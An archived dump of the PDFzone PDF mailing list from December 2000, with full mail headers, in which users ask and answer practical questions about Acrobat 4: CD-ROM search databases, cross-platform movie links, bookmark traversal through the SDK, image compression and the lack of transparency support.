(mr14.vic-remote.bigpond.net.au [24.192.1.29]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA04356 for ; Wed, 20 Dec 2000 16:37:20 -0600 Received: from [192.168.0.2] (CPE-61-9-142-63.vic.bigpond.net.au [61.9.142.63]) by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with ESMTP id JAA08480 for ; Thu, 21 Dec 2000 09:37:01 +1100 (EDT) User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Thu, 21 Dec 2000 08:37:22 +1000 Subject: [PDF] PDF and a Database From: Glyn Thomas To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi there I want to create a CD-ROM that utilises a Database or Database plug-in to create a more refined search mechanism and produce results that link to PDF documents. The database needs to run entirely from the CD-ROM and rely upon no external applications. The CD will need to work on at least PC compatibles and Apple Mac's? Ideally it will run on Unix and Linux systems as well. If this question does not make any sense please feel free to question me. Thank you in advance. Glyn Thomas Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 23:09:50-GMT,2572;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA02522 for ; Wed, 20 Dec 2000 16:09:49 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA05846; Wed, 20 Dec 2000 16:59:25 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 16:54:17 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA05507; Wed, 20 Dec 2000 16:54:16 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id QAA05503 for ; Wed, 20 Dec 2000 16:54:15 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 79159 via TCP with SMTP; Wed, 20 Dec 2000 17:55:08 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: References: Date: Wed, 20 Dec 2000 17:47:18 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: RE: [PDF] Mac vs PC Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 4:20 PM -0500 12/20/00, Shick, Rebecca wrote: >They were sent via email as native PDF, no compression or encoding. > Using what email clients on each end? SOME encoding took place (since you can't send binary files directly in EMail) - so that question is what kind took place transparently by the mail clients that perhaps got messed up by same. Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 23:39:08-GMT,3439;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA03186 for ; Wed, 20 Dec 2000 16:39:07 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA07338; Wed, 20 Dec 2000 17:24:10 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 17:18:45 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id RAA07100; Wed, 20 Dec 2000 17:18:44 -0600 Received: from d-n-s.com (d-n-s.com [192.41.30.184] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA07092 for ; Wed, 20 Dec 2000 17:18:41 -0600 Received: from [144.132.0.126] (CPE-144-132-0-126.vic.bigpond.net.au [144.132.0.126]) by d-n-s.com (8.8.5) id KAA01074; Thu, 21 Dec 2000 10:18:41 +1100 (EST) X-Authentication-Warning: d-n-s.com: Host CPE-144-132-0-126.vic.bigpond.net.au [144.132.0.126] claimed to be [144.132.0.126] User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Thu, 21 Dec 2000 09:27:22 +1000 Subject: Re: [PDF] Relative Links to Mpegs From: Dean Laffan To: Message-ID: In-Reply-To: <419F5AE598D2D311B46E00C0F031948308CE3A@COMPICTSERVER> Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ on 20/12/00 8:59 pm, Paul at Paul@CompletePicture.co.uk wrote: > The Mac does resolve the : and \\ paths Ok that's part of Acrobat. You can > use the same files on both parts of a hybrid disk without problem. The > problem is that with the mpeg it remembers the whole server path. I had exactly the same problem last week with a Quicktime. I created a PDF which played a looping QT on page open, the movie file was one level down from the pdf file it played in. It was working fine on the PC. When I transferred the files to the Mac to check them, it would error saying can't find the movie and ask me to search for the movie file. Once I pointed it to the movie and resaved the file on the Mac it worked fine. If I took it back to the PC the movie would error over there. This indicates to me that something is going on with paths. Fortunately I only had 1 PDF file with a movie and only about 20Mb of PDF's in total, so it was a no brainer to set up different files on the hybrid disc, obviously there are many scenarios where this would be impossible or impractical. So I got around it, but didn't solve it. I am using 4.05 on both Mac and PC. Anyone have any further ideas on this ? regards *** dean laffan real world productions melbourne, australia ph +613-9419-3966 Mobile - 0418-525-315 It said on the box: 'Requires Windows 95 or better' ... so I bought a Mac ! Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 10:21:28-GMT,2586;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id DAA15413 for ; Thu, 21 Dec 2000 03:21:26 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA00915; Thu, 21 Dec 2000 04:02:00 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 03:52:35 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id DAA00394; Thu, 21 Dec 2000 03:52:33 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id DAA00383 for ; Thu, 21 Dec 2000 03:52:25 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id JAA09660 for ; Thu, 21 Dec 2000 09:52:17 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] PDF and a Database Date: Thu, 21 Dec 2000 09:52:13 -0000 Message-ID: <000a01c06b33$b27833a0$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > I want to create a CD-ROM that utilises a Database or > Database plug-in to > create a more refined search mechanism and produce results > that link to PDF > documents. The database needs to run entirely from the CD-ROM > and rely upon > no external applications. The CD will need to work on at least PC > compatibles and Apple Mac's? Ideally it will run on Unix and > Linux systems > as well. ""More refined"" in what way, compared to Acrobat Search? Do you have a big budget for this part of the project project (five figures, say?) Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 14:06:09-GMT,2766;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA19281 for ; Thu, 21 Dec 2000 07:06:08 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA11026; Thu, 21 Dec 2000 07:56:12 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 07:50:52 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA10608; Thu, 21 Dec 2000 07:50:50 -0600 Received: from ilmcorp.com (www.ilmcorp.com [4.22.177.74]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA10595 for ; Thu, 21 Dec 2000 07:50:45 -0600 Received: from ILM_PROXY [63.218.106.34] by ilmcorp.com (SMTPD32-6.05) id AAB7EE32003A; Thu, 21 Dec 2000 08:50:47 -0500 Date: Thu, 21 Dec 2000 09:06:21 -0500 From: Stephen Backmeyer Subject: re: [PDF] PDF and a Database To: Mime-Version: 1.0 Organization: ILM Corporation X-Mailer: GoldMine [5.00.402] X-GM-Private: 41 Content-Type: text/plain; charset=""iso-8859-1"" Message-Id: <200012210850453.SM00176@ILM_PROXY> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id HAA10600 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Glyn, If I understand you correctly, you are looking to make your PDF completely searchable going above the full text and index searching capability of standard PDF searches. Your options are limited if you are unable to develope the application yourself. Options 1. Buy the Adobe Developers Kit and create an add on or API with a database on the CD. 2. There are plug-ins available and other software packages that do this. We have used this with great and poor success. IMR has an application, but their support is poor and pray for no bugs in the final CD. 3. Contact an outside company that creates these types of CD's and already has done the development. I rarely ever publicize our company on this list, but we can offer option three. I hope this is helpful. Stephen Backmeyer ILM Corporation 540.898.1406 Ex. 21 http://www.ilmcorp.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 14:06:10-GMT,2565;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA19285 for ; Thu, 21 Dec 2000 07:06:09 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA10706; Thu, 21 Dec 2000 07:52:42 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 07:46:58 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA10381; Thu, 21 Dec 2000 07:46:56 -0600 Received: from hk.sina.com.hk ([202.85.139.109]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id HAA10377 for ; Thu, 21 Dec 2000 07:46:54 -0600 Received: (qmail 503 invoked by uid 99); 21 Dec 2000 13:50:43 -0000 Message-ID: <20001221135043.502.qmail@hk.sina.com.hk> X-Mailer: SinaMail 3.0Beta (FireToad) From: leo_fwchan To: pdf@lists.pdfzone.com Subject: [PDF] CanWeGetBookmarkindex/ID from activepage Date: Thu Dec 21 21:50:43 HKT 2000 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ How can we get the corresponding bookmark index/ID from active page (PDDoc)? ---------------------------------------------------------------------------- I am developing a plug-in for acrobat reader.In the case, I want to get the relationship of bookmark and current page. After I read all SDK documents, there is no issue found for solving this problem. I think it may be solved by two approaches if they are possible. First: If I get an active PDDoc by function ""AVDocGetPDDoc"" and its page number, how can I get the corresponding bookmark index/ID? Second: If I get bookmark root by function ""PDDocGetBookmarkRoot"", how can I obtain corresponding pages and their child's pages? Thanks you for your kindly help! Merry Xmas, API developer =================================================================== �s���K�O�q�l�l�c http://sinamail.sina.com.hk �s������Ecard""�b""���` http://ecards1.sina.com.hk/info.cgi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 14:53:36-GMT,3847;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA20276 for ; Thu, 21 Dec 2000 07:53:35 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA13693; Thu, 21 Dec 2000 08:38:38 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 08:33:33 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA13310; Thu, 21 Dec 2000 08:33:31 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id IAA13306 for ; Thu, 21 Dec 2000 08:33:26 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 80278 via TCP with SMTP; Thu, 21 Dec 2000 09:33:53 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: <20001221135043.502.qmail@hk.sina.com.hk> References: <20001221135043.502.qmail@hk.sina.com.hk> Date: Thu, 21 Dec 2000 09:31:17 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: Re: [PDF] CanWeGetBookmarkindex/ID from activepage Cc: leo_fwchan@sinaman.com Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 9:50 PM -0500 12/21/00, leo_fwchan wrote: >How can we get the corresponding bookmark index/ID from active page (PDDoc)? >---------------------------------------------------------------------------- You should really post this to the PDFDev list, since that's where development questions belong. However, let me see if I can answer it for you. >I am developing a plug-in for acrobat reader. You know all about getting a Reader license and key, right? >In the case, I want to get the relationship of bookmark and current >page. After I read all SDK documents, there is no issue found for >solving this problem. There is no ""easy"" answer to this because there does not necessarily have to be any relationship. Bookmarks are simply a UI element (mostly) that have actions attached to them - these actions can be (and in most cases are) ""Go To Page"" actions, BUT they could just as easily be anything from playing a movie to running a JavaScript. >First: If I get an active PDDoc by function ""AVDocGetPDDoc"" and its page >number, how can I get the corresponding bookmark index/ID? You have to walk the bookmark tree, get each bookmark's action, determine if the action is a GoTo, and if so, what page number and then compare the page numbers. >Second: If I get bookmark root by function ""PDDocGetBookmarkRoot"", >how can I obtain corresponding pages and their child's pages? > Same thing - get the action (PDBookmarkGetAction), get the type of action (PDActionGetSubtype) and see if it's GoTo. If it is, then get the page number from the dictionary. Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 15:01:48-GMT,3063;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA20445 for ; Thu, 21 Dec 2000 08:01:47 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA13416; Thu, 21 Dec 2000 08:35:15 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 08:29:06 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA13038; Thu, 21 Dec 2000 08:29:04 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA13029 for ; Thu, 21 Dec 2000 08:29:00 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id OAA10104 for ; Thu, 21 Dec 2000 14:28:59 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] CanWeGetBookmarkindex/ID from activepage Date: Thu, 21 Dec 2000 14:28:56 -0000 Message-ID: <000e01c06b5a$5b9b31a0$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <20001221135043.502.qmail@hk.sina.com.hk> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > First: If I get an active PDDoc by function ""AVDocGetPDDoc"" > and its page > number, how can I get the corresponding bookmark index/ID? In the general case, the list of bookmarks and the list of pages are independent. To find the ""matching"" bookmark, or more than one, if any, you would scan the bookmark list to find one referring to the current page. > > Second: If I get bookmark root by function > ""PDDocGetBookmarkRoot"", how can I obtain corresponding pages > and their child's pages? Bookmarks are arranged in a tree. You walk the tree by walking all the children of the root, and their children, and so forth, recursively. Each bookmark has an action associated with it. Although bookmarks usually have the action of going to a page in the current document, they could have any action, like open a URL or execute a JavaScript. After calling PDPageGetAction, you have to examine the PDAction to find out what type, if it is relevant, and if it is relevant, get the destination. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 17:14:19-GMT,2986;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA23858 for ; Thu, 21 Dec 2000 10:14:18 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA21787; Thu, 21 Dec 2000 11:00:20 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 10:54:16 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA21344; Thu, 21 Dec 2000 10:54:15 -0600 Received: from coyote.iupui.edu (coyote.iupui.edu [134.68.220.82]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA21340 for ; Thu, 21 Dec 2000 10:54:13 -0600 Received: from [134.68.242.97] (as5205-p47.dialin.iupui.edu [134.68.242.97]) by coyote.iupui.edu (8.9.3/8.9.3/IUPUIPO.20001219) with ESMTP id LAA06347 for ; Thu, 21 Dec 2000 11:54:11 -0500 (EST) User-Agent: Microsoft-Entourage/9.0.2509 Date: Thu, 21 Dec 2000 11:58:35 -0600 Subject: [PDF] JPEG Compression and resaving PDF files From: John Herrin To: Message-ID: In-Reply-To: <200012201349.HAA32015@everglades.binc.net> Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ What is the general feeling about using JPEG compression with PDF's. I work in a publishing environment (both editorial and advertising material) that is coming to depend on PDF's. My concern is with using JPEG compression on PDF files that are opened, edited in Acrobat and resaved. Though I have not fully tested the results form multiple opens and saves my gut instinct tells me that the overall image quality is going to degrade significantly in this enivornment. Right now my recommendation to my peers is to compress using Zip or no compression at all to perserve image quality. Please donate your two cents on this issue. Am I worrying about lossy compression too much? Will Zip cause other problems in the processing and delivery process? What are some of your experiences with compression and PDF's? -- John Herrin jaherrin@iupui.edu php.iupui.edu/~jaherrin ""We live in a society exquisitely dependent on science and technology, in which hardly anyone knows anything about science and technology."" Carl Sagan Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 17:34:51-GMT,2996;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA24392 for ; Thu, 21 Dec 2000 10:34:51 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA23202; Thu, 21 Dec 2000 11:22:54 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 11:17:44 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA22923; Thu, 21 Dec 2000 11:17:43 -0600 Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA22919 for ; Thu, 21 Dec 2000 11:17:41 -0600 From: fjk@akgsoftware.de Received: from [195.20.224.204] (helo=mrvdom00.kundenserver.de) by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2) id 1499LT-0003jF-00 for pdf@lists.pdfzone.com; Thu, 21 Dec 2000 18:17:35 +0100 Received: from pd4b89ad7.dip0.t-ipconnect.de ([212.184.154.215] helo=akgsoftware.de) by mrvdom00.kundenserver.de with smtp (Exim 2.12 #2) id 1499LI-000005-00 for pdf@lists.pdfzone.com; Thu, 21 Dec 2000 18:17:24 +0100 Organization: AKG Software Consulting GmbH To: pdf@lists.pdfzone.com Date: Thu, 21 Dec 2000 18:18:13 +0100 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Subject: [PDF] Semi-transparent colors in Acrobat 4.0x? Message-Id: <3A424965.8385.ED7EF2@localhost> In-Reply-To: X-Mailer: Pegasus Mail for Win32 (v3.12cDE) Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi PDF specialists, we develop software solutions for highway and railway planning and many of our customers like to deliver their drawings as PDF. In our system you can colorize aereas using a ""transparent"" color but this color always comes out as opaque in the PDF. In the adobe KnowledgeBase there is a document saying this is only a problem of appearence on the monitor but that those colors will print out correct. That's not true. Is there a way to get PDFs with semi-transparent colors? Thanks for any suggestion, Franz-Josef Knelangen ------ AKG Software Consulting GmbH Jechtinger Str. 13 79111 Freiburg im Breisgau Tel. (0761)47821-19 Fax -30 Tixi FJK+49-761-4706926 www.akgsoftware.de Std.Discl.""All this has to be turned in DECENT English"" Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 18:34:19-GMT,2787;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA25966 for ; Thu, 21 Dec 2000 11:34:18 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA26909; Thu, 21 Dec 2000 12:23:06 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 12:17:56 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA26610; Thu, 21 Dec 2000 12:17:55 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA26606 for ; Thu, 21 Dec 2000 12:17:52 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id SAA10473 for ; Thu, 21 Dec 2000 18:17:56 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Semi-transparent colors in Acrobat 4.0x? Date: Thu, 21 Dec 2000 18:17:49 -0000 Message-ID: <001401c06b7a$540b9040$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <3A424965.8385.ED7EF2@localhost> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > we develop software solutions for highway and railway planning and > many of our customers like to deliver their drawings as PDF. In our > system you can colorize aereas using a ""transparent"" color but > this color always comes out as opaque in the PDF. > > In the adobe KnowledgeBase there is a document saying this is > only a problem of appearence on the monitor but that those colors > will print out correct. That's not true. > > Is there a way to get PDFs with semi-transparent colors? Semi-transparency is not a feature of Acrobat 4.0. The imaging model is always 100% opaque (or 0%). Acrobat 5.0 will support this, we expect, but probably only for PDF files created in Adobe Illustrator or ""hand rolled"". Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 18:37:36-GMT,3167;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA26059 for ; Thu, 21 Dec 2000 11:37:35 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA26547; Thu, 21 Dec 2000 12:17:29 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 12:11:26 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA26201; Thu, 21 Dec 2000 12:11:25 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id MAA26197 for ; Thu, 21 Dec 2000 12:11:23 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 81746 via TCP with SMTP; Thu, 21 Dec 2000 13:12:34 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: <3A424965.8385.ED7EF2@localhost> References: <3A424965.8385.ED7EF2@localhost> Date: Thu, 21 Dec 2000 13:08:43 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: Re: [PDF] Semi-transparent colors in Acrobat 4.0x? Cc: fjk@akgsoftware.de Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 6:18 PM +0100 12/21/00, fjk@akgsoftware.de wrote: >we develop software solutions for highway and railway planning and >many of our customers like to deliver their drawings as PDF. In our >system you can colorize aereas using a ""transparent"" color but >this color always comes out as opaque in the PDF. Assuming that your system writes out the objects as vector specifications (draw line, draw path, etc.) with color operators, than this is correct. PDF 1.3 (the current version of PDF supported by Acrobat 4.x) does not support transparency - HOWEVER PDF 1.4, which is only supported by Adobe Illustrator 9 and some 3rd party PDF applications, does support transparency. >Is there a way to get PDFs with semi-transparent colors? > You can either generate PDF 1.4 documents, and hope that your customers can take advantage of them, OR you will need to convert all transparent areas into raster/bitmap images. Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 21-Dec-2000 21:14:49-GMT,4115;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA00270 for ; Thu, 21 Dec 2000 14:14:48 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA02632; Thu, 21 Dec 2000 15:03:08 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 21 Dec 2000 14:56:06 -0600 Received: (from majordom@localhost) by everglades.binc.net 